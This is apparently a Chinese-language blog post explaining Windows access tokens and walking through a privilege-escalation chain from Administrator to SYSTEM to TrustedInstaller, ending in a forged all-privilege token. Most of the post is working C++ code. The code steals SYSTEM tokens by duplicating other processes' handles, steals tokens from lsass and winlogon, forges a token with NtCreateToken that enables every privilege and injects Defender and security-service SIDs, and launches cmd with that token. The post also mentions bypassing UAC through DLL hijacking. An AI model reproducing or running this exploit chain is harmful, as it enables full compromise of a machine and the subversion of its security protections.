伪造令牌提权Windows ring3 最高权限
起因是我想在搞一些操作windows进程的事情时,老是需要右键以管理员身份运行,感觉很麻烦。就研究了一下怎么提权,顺手瞄了一眼Windows下用户态权限分配,然后也是感谢《深入解析Windows操作系统》这本书给我偷令牌的灵感吧,写了两三天,成功获取了用户态下所有特权+用户组。
一、windows的权限
在 Windows 操作系统中,“你是谁”以及“你能做什么”完全由一个核心内核对象决定。无论是用户登录、服务启动,还是进程创建,Windows 安全引用监视器(SRM)都会为每个进程分配一个令牌。Windows 的权限机制并不是一个单点功能,而是一整套围绕“对象”“身份”“能力”展开的安全体系。它的核心目标只有一个:在多用户、多进程、多权限级别共存的环境中,让系统既能安全运行,又能灵活扩展。
这套机制的关键在于三个概念:安全主体、访问令牌、受保护对象。Windows 不关心你写了什么代码,只关心你的线程当前挂着哪一张令牌,以及你试图触碰的对象设置了怎样的门禁。
在 Windows 中,真正参与权限判断的不是“用户”这个抽象概念,而是 Security Principal。它可以是本地用户、域用户、系统账户,甚至是服务账户。每一个 Security Principal 在系统中都有一个唯一的 SID,这个 SID 就像身份证号码一样,贯穿其一生。
当你登录系统时,无论是交互式登录、服务启动,还是计划任务触发,LSASS 都会负责认证你的身份,并为你生成一个访问令牌。这个令牌不是简单的“你是谁”,而是一个完整的能力集合快照。
这个快照在登录完成后通常是静态的,除非显式进行特权调整或令牌复制。也正因为如此,Windows 的提权行为,本质上不是“获得新能力”,而是“获得另一张令牌”。
1.令牌的结构
令牌中包含用户 SID 和所属的所有组 SID。这些组并不只是显示在“用户属于 Administrators”那么简单,还包括诸如 INTERACTIVE、SERVICE、AUTHENTICATED USERS 等隐式组。每一个组都可以被启用、禁用,或者标记为仅用于拒绝访问。
令牌中还包含一组特权,也就是 Privileges,例如 SeDebugPrivilege、SeLoadDriverPrivilege、SeImpersonatePrivilege 等。这些特权并不是默认全部启用的,大多数处于 Disabled 状态,需要显式调整。
此外,令牌还携带完整性级别。自 Windows Vista 起,引入了强制完整性控制机制,低完整性进程即便拥有访问控制列表允许的权限,也可能被完整性策略直接拦截。
最后,令牌还记录了是否为主令牌还是模拟令牌,这个细节直接决定了它能否被用于创建新进程。
二、申请UAC和调试权限
1.强制管理员运行
函数IsRunAsAdmin()通过检查当前令牌是否含有DOMAIN_ALIAS_RID_ADMINS(管理员组 SID)来判断权限。 如果不是管理员,SelfElevate()函数利用了一个经典技巧:ShellExecuteExW配合runas动词。
原理:runas会触发 Windows 的用户账户控制(UAC)机制。如果当前用户在管理员组但以中等完整性级别(Medium Integrity Level)运行,这会弹窗请求提升。这是本程序中唯一一处需要用户给权的代码。(uac似乎也能绕过,更改环境变量+劫持dll)
/* by yours.tools - online tools website : yours.tools/zh/formathtml.html */ BOOL IsRunAsAdmin() { BOOL fIsRunAsAdmin = FALSE; PSID pAdminSID = NULL; SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY; if (AllocateAndInitializeSid( &NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, 0, 0, 0, 0, 0, 0, &pAdminSID)) { if (!CheckTokenMembership(NULL, pAdminSID, &fIsRunAsAdmin)) { fIsRunAsAdmin = FALSE; } FreeSid(pAdminSID); } return fIsRunAsAdmin; } void SelfElevate() { WCHAR szPath[MAX_PATH]; if (GetModuleFileNameW( NULL, szPath, ARRAYSIZE(szPath))) { SHELLEXECUTEINFOW sei = {sizeof(sei)}; sei.cbSize = sizeof(sei); sei.lpVerb = L"runas"; sei.lpFile = szPath; sei.hwnd = NULL; sei.nShow = SW_NORMAL; if (!ShellExecuteExW(&sei)) { std::wcout << L"[-] User refused UAC elevation." << std::endl; } else { exit(0); } } } if (!IsRunAsAdmin()) { std::wcout << L"[*] Not Admin. Requesting elevation..." << std::endl; SelfElevate(); return 0; }2.开启SeDebugPrivilege特权
OpenProcessToken->LookupPrivilegeValue->AdjustTokenPrivileges。
SeDebugPrivilege是 Windows中最强大的特权之一。官方描述是“调试程序”,但实际上它允许持有者打开任何进程的句柄,拥有PROCESS_ALL_ACCESS权限,即使该进程属于 SYSTEM 或其他用户。一旦开启此特权,Windows 的“进程隔离”防线对攻击者而言就不复存在了。
/* by yours.tools - online tools website : yours.tools/zh/formathtml.html */ bool EnableDebugPrivilege() { HANDLE hToken; if (!OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) return false; TOKEN_PRIVILEGES tp; LUID luid; if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) { CloseHandle(hToken); return false; } tp.PrivilegeCount = 1; tp.Privileges[0].Luid = luid; tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; bool result = AdjustTokenPrivileges( hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL); CloseHandle(hToken); return result && (GetLastError() == ERROR_SUCCESS); }三、Admin提权到 SYSTEM
1.句柄爆破
GetSystemTokenViaBruteForce()函数展示了一种极其野蛮但有效的技术。 通常,要获取 SYSTEM 令牌,攻击者会尝试注入系统进程。但这种方式容易被杀软拦截。所以我的代码选择了“偷句柄”。
内存分配循环:
NtQuerySystemInformation(SystemHandleInformation, ...)的返回长度是不确定的。用一个while循环,不断尝试分配更大的内存(STATUS_INFO_LENGTH_MISMATCH),直到缓冲区足够容纳成千上万个系统句柄。遍历与过滤:代码遍历每一个
SYSTEM_HANDLE_TABLE_ENTRY_INFO。if (entry.UniqueProcessId == myPid) continue;:跳过自己。DuplicateHandle(...):这是最关键的一步。强行将别人的句柄“复制”到自己的进程空间中。
HANDLE GetSystemTokenViaBruteForce() { if (!pNtQuerySystemInformation) return NULL; ULONG bufferSize = 0x10000; PVOID buffer = malloc(bufferSize); ULONG returnLength = 0; NTSTATUS status; // 1. 获取所有句柄信息 while ((status = pNtQuerySystemInformation( SystemHandleInformation, buffer, bufferSize, &returnLength)) == STATUS_INFO_LENGTH_MISMATCH) { free(buffer); bufferSize = returnLength + 0x1000; buffer = malloc(bufferSize); } if (status != 0) { free(buffer); return NULL; } PSYSTEM_HANDLE_INFORMATION handleInfo = (PSYSTEM_HANDLE_INFORMATION)buffer; DWORD myPid = GetCurrentProcessId(); HANDLE hBestToken = NULL; std::wcout << L"[*] [Step 1] Brute-forcing " << handleInfo->NumberOfHandles << L" system handles..." << std::endl; for (ULONG i = 0; i < handleInfo->NumberOfHandles; i++) { SYSTEM_HANDLE_TABLE_ENTRY_INFO& entry = handleInfo->Handles[i]; if (entry.UniqueProcessId == myPid) continue; HANDLE hSourceProcess = OpenProcess( PROCESS_DUP_HANDLE, FALSE, entry.UniqueProcessId); if (!hSourceProcess) continue; HANDLE hDupHandle = NULL; if (!DuplicateHandle( hSourceProcess, (HANDLE)(uintptr_t)entry.HandleValue, GetCurrentProcess(), &hDupHandle, 0, FALSE, DUPLICATE_SAME_ACCESS)) { CloseHandle(hSourceProcess); continue; } // 检查对象类型 UCHAR typeInfoBuffer[0x1000]; PMY_PUBLIC_OBJECT_TYPE_INFORMATION typeInfo = (PMY_PUBLIC_OBJECT_TYPE_INFORMATION)typeInfoBuffer; NTSTATUS status; status = pNtQueryObject( hDupHandle, ObjectTypeInformation, typeInfoBuffer, sizeof(typeInfoBuffer), NULL); if (status < 0) { goto LoopCleanup; } if (!typeInfo->TypeName.Buffer || _wcsicmp(typeInfo->TypeName.Buffer, L"Token") != 0) { goto LoopCleanup; } if (!IsSystemToken(hDupHandle)) { goto LoopCleanup; } TOKEN_STATISTICS stats; DWORD len; if (!GetTokenInformation( hDupHandle, TokenStatistics, &stats, sizeof(stats), &len) || stats.TokenType != TokenPrimary) { goto LoopCleanup; } DuplicateTokenEx( hDupHandle, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &hBestToken); EnableAllPrivilegesForToken(hBestToken); std::wcout << L" [+] FOUND SYSTEM TOKEN at Source PID: " << entry.UniqueProcessId << std::endl; CloseHandle(hDupHandle); CloseHandle(hSourceProcess); goto Cleanup; LoopCleanup: CloseHandle(hDupHandle); CloseHandle(hSourceProcess); } Cleanup: free(buffer); return hBestToken; }2.筛选
复制过来的句柄成千上万,如何找到有价值的?
- 类型检查:使用
NtQueryObject查询对象类型,只保留L"Token"类型的句柄。 - 身份验证:
IsSystemToken()函数读取令牌的用户 SID,利用IsWellKnownSid(..., WinLocalSystemSid)确认这个令牌属于SYSTEM。 - 最终获取:一旦找到,代码立即调用
DuplicateTokenEx将其转换为一个主令牌(Primary Token),并调用EnableAllPrivilegesForToken激活其中所有休眠的特权(如SeTcbPrivilege等)。
此时,通过ImpersonateLoggedOnUser,已经从 Admin 变成了 SYSTEM。
// Admin -> SYSTEM HANDLE hSystemToken = GetSystemTokenViaBruteForce(); if (!hSystemToken) { std::wcout << L"[-] Failed to get SYSTEM token." << std::endl; return 1; } std::wcout << L"[+] Step 1 Complete: Acquired SYSTEM token (Privileges Enabled)." << std::endl; // 模拟 SYSTEM 身份 (为了能够控制服务) if (!ImpersonateLoggedOnUser(hSystemToken)) { std::wcout << L"[-] Impersonation failed." << std::endl; return 1; }四、System提权到TrustedInstaller
在 Windows Vista 之后,SYSTEM 不再是最高权限。为了防止系统文件被篡改,微软引入了 Windows Resource Protection (WRP),其所有者是TrustedInstaller。
1.服务控制与劫持
通过StartTrustedInstallerService()确保TrustedInstaller服务正在运行。如果服务没开,攻击无法继续,所以必须先StartService。
bool StartTrustedInstallerService() { SC_HANDLE hSCManager = OpenSCManagerW(NULL, NULL, SC_MANAGER_CONNECT); if (!hSCManager) return false; SC_HANDLE hService = OpenServiceW( hSCManager, L"TrustedInstaller", SERVICE_START | SERVICE_QUERY_STATUS); if (!hService) { CloseServiceHandle(hSCManager); return false; } SERVICE_STATUS_PROCESS ssp; DWORD bytesNeeded; QueryServiceStatusEx( hService, SC_STATUS_PROCESS_INFO, (LPBYTE)&ssp, sizeof(SERVICE_STATUS_PROCESS), &bytesNeeded); if (ssp.dwCurrentState != SERVICE_RUNNING) { std::wcout << L" [*] Starting TrustedInstaller service..." << std::endl; StartService(hService, 0, NULL); Sleep(2000); } else { std::wcout << L" [*] TrustedInstaller service is already running." << std::endl; } CloseServiceHandle(hService); CloseServiceHandle(hSCManager); return true; }2.令牌窃取与模拟
GetTrustedInstallerToken()函数执行了令牌窃取流程:
获取 PID:通过
GetPidByName(L"TrustedInstaller.exe")。打开进程:
OpenProcess。复制令牌:
DuplicateTokenEx。关键动作:
ImpersonateLoggedOnUser。这一步将当前线程的上下文切换为
TrustedInstaller。这非常重要,因为后续的许多操作(修改 ACL)依赖于当前线程的身份,而不是进程身份。
HANDLE GetTrustedInstallerToken() { std::wcout << L"[*] [Step 2] Escalating to TrustedInstaller..." << std::endl; if (!StartTrustedInstallerService()) { std::wcout << L" [-] Failed to start service." << std::endl; return NULL; } DWORD pid = GetPidByName(L"TrustedInstaller.exe"); if (pid == 0) { std::wcout << L" [-] TrustedInstaller.exe process not found." << std::endl; return NULL; } HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid); if (!hProcess) return NULL; HANDLE hToken = NULL; OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_QUERY, &hToken); HANDLE hNewToken = NULL; if (hToken) { DuplicateTokenEx( hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenPrimary, &hNewToken); std::wcout << L" [*] Enabling all privileges for TrustedInstaller token..." << std::endl; EnableAllPrivilegesForToken(hNewToken); CloseHandle(hToken); } CloseHandle(hProcess); return hNewToken; }五、伪造全特权令牌
1.利用TrustedInstaller获取SeCreateTokenPrivilege特权
为了能够创造新的令牌,我们需要获取SeCreateTokenPrivilege特权。
在ScanAndStealTokens()中,代码遍历所有进程,重点关注lsass.exe(本地安全机构子系统服务)和winlogon.exe。lsass.exe是 Windows 安全的心脏,它负责处理登录、验证和策略。因此,它天然拥有创建令牌的权力。HasSeCreateTokenPrivilege()函数检查目标令牌。这是一个非常罕见的特权。普通管理员没有,甚至普通的 SYSTEM 进程也不一定有。只有lsass.exe等极少数核心进程拥有。一旦找到拥有此特权的令牌,代码将其保存到stolenTokens向量中,并标记为“Terminator: Found special process”。这个令牌将成为后续“伪造工厂”的原材料。
std::vector<HANDLE> ScanAndStealTokens() { std::vector<HANDLE> stolenTokens; HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == INVALID_HANDLE_VALUE) return stolenTokens; PROCESSENTRY32W pe; pe.dwSize = sizeof(PROCESSENTRY32W); if (!Process32FirstW(hSnapshot, &pe)) { return stolenTokens; } do { // 1. 过滤系统基础进程 if (pe.th32ProcessID == 0 || pe.th32ProcessID == 4) continue; // 2. 尝试获取进程句柄 HANDLE hProcess = OpenProcess( PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID); if (!hProcess) { hProcess = OpenProcess( PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pe.th32ProcessID); } if (!hProcess) continue; // 3. 尝试打开进程 Token HANDLE hToken = NULL; if (!OpenProcessToken( hProcess, TOKEN_QUERY | TOKEN_DUPLICATE, &hToken)) { CloseHandle(hProcess); continue; } if (!HasSeCreateTokenPrivilege(hToken)) { CloseHandle(hToken); CloseHandle(hProcess); continue; } wprintf(L"[+] Terminator: Found special process [%d] %s\n", pe.th32ProcessID, pe.szExeFile); HANDLE hNewToken = NULL; if (DuplicateTokenEx( hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &hNewToken)) { if (_wcsicmp(pe.szExeFile, L"lsass.exe") != 0 && _wcsicmp(pe.szExeFile, L"winlogon.exe") != 0) { continue; } stolenTokens.push_back(hNewToken); wprintf(L" -> Token stolen and stored! Handle: 0x%p\n", hNewToken); } CloseHandle(hToken); CloseHandle(hProcess); } while (Process32NextW(hSnapshot, &pe)); CloseHandle(hSnapshot); return stolenTokens; }2.伪造令牌
我们预定义了一个目标服务列表targetServices,包含:
NT SERVICE\WinDefend(Windows Defender)NT SERVICE\TrustedInstallerNT SERVICE\SecurityHealthService(安全中心)- ...
代码遍历这些服务名,使用LookupAccountNameW获取它们对应的 SID(安全标识符)。这些 SID 代表了对反病毒软件、防火墙和系统核心组件的控制权。
然后在内存中,代码分配了一个巨大的缓冲区来存放TOKEN_GROUPS结构体。它首先复制了源令牌(通常是lsass.exe的令牌)中的所有组。然后,它将上述收集到的 7 个高危 SID 追加到组列表中。关键属性设置:ATTR_INJECT = SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_OWNER。这意味着新令牌不仅属于这些组,而且默认启用这些组的权限,甚至拥有这些组对象的所有权!
然后循环遍历 LUID 从 2 到MAX_PRIV_COUNT(45)。将每一个特权都设置为SE_PRIVILEGE_ENABLED。 这不仅包括常见的SeDebugPrivilege,还包括SeTcbPrivilege(作为操作系统一部分行事)、SeTakeOwnershipPrivilege(接管所有权)等。
HANDLE ForgeSystemToken(HANDLE hSourceToken, const std::vector<PSID>& sidsToInject) { HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll"); auto NtCreateToken = (PNT_CREATE_TOKEN)GetProcAddress(hNtdll, "NtCreateToken"); if (!NtCreateToken) { std::cerr << "[-] Failed to resolve NtCreateToken" << std::endl; return NULL; } std::vector<BYTE> bufStats, bufSource, bufUser, bufGroups, bufPrivs, bufOwner, bufPrimary, bufDacl; if (!GetTokenInfo(hSourceToken, TokenStatistics, bufStats) || !GetTokenInfo(hSourceToken, TokenSource, bufSource) || !GetTokenInfo(hSourceToken, TokenUser, bufUser) || !GetTokenInfo(hSourceToken, TokenGroups, bufGroups) || !GetTokenInfo(hSourceToken, TokenPrivileges, bufPrivs) || !GetTokenInfo(hSourceToken, TokenOwner, bufOwner) || !GetTokenInfo(hSourceToken, TokenPrimaryGroup, bufPrimary) || !GetTokenInfo(hSourceToken, TokenDefaultDacl, bufDacl)) { std::cerr << "[-] Failed to query source token information." << std::endl; return NULL; } PTOKEN_USER pUser = (PTOKEN_USER)bufUser.data(); PTOKEN_GROUPS pOriginalGroups = (PTOKEN_GROUPS)bufGroups.data(); PTOKEN_PRIVILEGES pPrivs = (PTOKEN_PRIVILEGES)bufPrivs.data(); PTOKEN_OWNER pOwner = (PTOKEN_OWNER)bufOwner.data(); PTOKEN_PRIMARY_GROUP pPrimaryGroup = (PTOKEN_PRIMARY_GROUP)bufPrimary.data(); PTOKEN_DEFAULT_DACL pDefaultDacl = (PTOKEN_DEFAULT_DACL)bufDacl.data(); PTOKEN_STATISTICS pStats = (PTOKEN_STATISTICS)bufStats.data(); PTOKEN_SOURCE pSource = (PTOKEN_SOURCE)bufSource.data(); DWORD newGroupCount = pOriginalGroups->GroupCount + (DWORD)sidsToInject.size(); std::vector<BYTE> newGroupsBuffer( sizeof(TOKEN_GROUPS) + (newGroupCount * sizeof(SID_AND_ATTRIBUTES)) + 0x1000); PTOKEN_GROUPS pNewGroups = (PTOKEN_GROUPS)newGroupsBuffer.data(); pNewGroups->GroupCount = newGroupCount; for (DWORD i = 0; i < pOriginalGroups->GroupCount; i++) { pNewGroups->Groups[i].Sid = pOriginalGroups->Groups[i].Sid; // 注意:这里直接复制指针,需确保源 buffer 不释放 pNewGroups->Groups[i].Attributes = pOriginalGroups->Groups[i].Attributes; } DWORD const ATTR_INJECT = SE_GROUP_ENABLED | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_OWNER; // 14 (0xE) for (size_t i = 0; i < sidsToInject.size(); i++) { DWORD currentIndex = pOriginalGroups->GroupCount + (DWORD)i; pNewGroups->Groups[currentIndex].Sid = sidsToInject[i]; pNewGroups->Groups[currentIndex].Attributes = ATTR_INJECT; } SECURITY_QUALITY_OF_SERVICE sqos = { sizeof(sqos), SecurityImpersonation, SECURITY_DYNAMIC_TRACKING, FALSE }; OBJECT_ATTRIBUTES oa = { sizeof(oa), 0, 0, 0, 0, &sqos }; HANDLE hNewToken = NULL; LUID authId = SYSTEM_LUID; LARGE_INTEGER expTime = { 0xFFFFFFFF, 0x7FFFFFFF }; // Infinite std::vector<BYTE> fullPrivsBuffer( sizeof(TOKEN_PRIVILEGES) + (MAX_PRIV_COUNT * sizeof(LUID_AND_ATTRIBUTES))); PTOKEN_PRIVILEGES pFullPrivs = (PTOKEN_PRIVILEGES)fullPrivsBuffer.data(); DWORD privCount = 0; for (DWORD i = 2; i < MAX_PRIV_COUNT + 2; i++) { LUID luid = { i, 0 }; wchar_t name[256]; DWORD nameLen = 256; if (LookupPrivilegeNameW(NULL, &luid, name, &nameLen)) { pFullPrivs->Privileges[privCount].Luid = luid; pFullPrivs->Privileges[privCount].Attributes = SE_PRIVILEGE_ENABLED | SE_PRIVILEGE_ENABLED_BY_DEFAULT; privCount++; } } pFullPrivs->PrivilegeCount = privCount; PSID pSystemSid = NULL; SID_IDENTIFIER_AUTHORITY ntAuthority = SECURITY_NT_AUTHORITY; AllocateAndInitializeSid( &ntAuthority, 1, SECURITY_LOCAL_SYSTEM_RID, 0, 0, 0, 0, 0, 0, 0, &pSystemSid); TOKEN_USER systemUser = { 0 }; systemUser.User.Sid = pSystemSid; systemUser.User.Attributes = 0; TOKEN_OWNER tokenOwner = { pSystemSid }; TOKEN_PRIMARY_GROUP tokenPrimaryGroup = { pSystemSid }; NTSTATUS status = NtCreateToken( &hNewToken, TOKEN_ALL_ACCESS, &oa, TokenPrimary, &authId, // SYSTEM_LUID &expTime, &systemUser, // User pNewGroups, // Groups pFullPrivs, // Privileges &tokenOwner, // Owner &tokenPrimaryGroup, // PrimaryGroup pDefaultDacl, // 可以沿用旧的,或者构造一个允许 SYSTEM 访问的 DACL pSource ); if (status == 0 && hNewToken != NULL) { std::wcout <<L"[+] Token Forged Successfully! Handle: " << hNewToken << std::endl; return hNewToken; } else { std::wcerr << L"[-] NtCreateToken failed. NTSTATUS: 0x" << std::hex << status << std::endl; if (status == 0xC0000061) std::wcerr << L" STATUS_PRIVILEGE_NOT_HELD (Need SeCreateTokenPrivilege)" << std::endl; return NULL; } }六、执行与利用
拥有了伪造的令牌后,代码使用CreateProcessWithTokenW,以全特权+全所属组的方式启动cmd:
if (!ImpersonateLoggedOnUser(hSystemToken)) { std::wcout << L"[-] Impersonation failed." << std::endl; return 1; } std::wcout << L"[+] Impersonation Active: Thread is now SYSTEM." << std::endl; // SYSTEM -> TrustedInstaller HANDLE hTIToken = GetTrustedInstallerToken(); if (!hTIToken) { std::wcout << L"[-] Failed to get TrustedInstaller token." << std::endl; RevertToSelf(); return 1; } std::wcout << L"[+] Step 2 Complete: Acquired TrustedInstaller token (Privileges Enabled)." << std::endl; if (ImpersonateLoggedOnUser(hTIToken)) { std::wcout << L"\n[*] Impersonating TrustedInstaller to attack ACL..." << std::endl; } else { std::wcout << L"[-] Failed to impersonate TrustedInstaller for ACL modification." << std::endl; } std::vector<HANDLE> tokens = ScanAndStealTokens(); if (tokens.empty()) { std::wcout << L"[-] No special tokens found." << std::endl; return 1; } std::wcout << L"[+] Collected " << tokens.size() << L" candidate tokens." << std::endl; if (ImpersonateLoggedOnUser(tokens.back())) std::wcout << L"[+] Impersonation Successful!" << std::endl; std::vector<PSID> injectedSIDs; std::wcout << L"[*] Resolving Service SIDs..." << std::endl; for (const auto& svc : targetServices) { PSID pSid = GetSidForService(svc); if (pSid) { injectedSIDs.push_back(pSid); } else { std::wcout << L" [-] Failed to resolve: " << svc << std::endl; } } HANDLE hCurrentToken; OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hCurrentToken); // 3. 执行伪造 HANDLE hForgedToken = ForgeSystemToken(hCurrentToken, injectedSIDs); if(!hForgedToken) { std::wcout << L" [-] Failed to forged " << std::endl; return 1; } // 启动 CMD STARTUPINFOW si = { sizeof(si) }; PROCESS_INFORMATION pi = { 0 }; std::wcout << L"[*] Launching CMD " << std::endl; if (ImpersonateLoggedOnUser(hForgedToken )) std::wcout << L"[+] Impersonation Successful!" << std::endl; if (CreateProcessWithTokenW( hForgedToken, 1, L"C:\\Windows\\System32\\cmd.exe", NULL, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi)) { std::wcout << L"\n[SUCCESS] PID: " << pi.dwProcessId << L". Check 'whoami /groups'." << std::endl; CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } else { std::wcout << L" [-] Launch failed. Error: " << GetLastError() << std::endl; }最终的whoami /all如下图所示: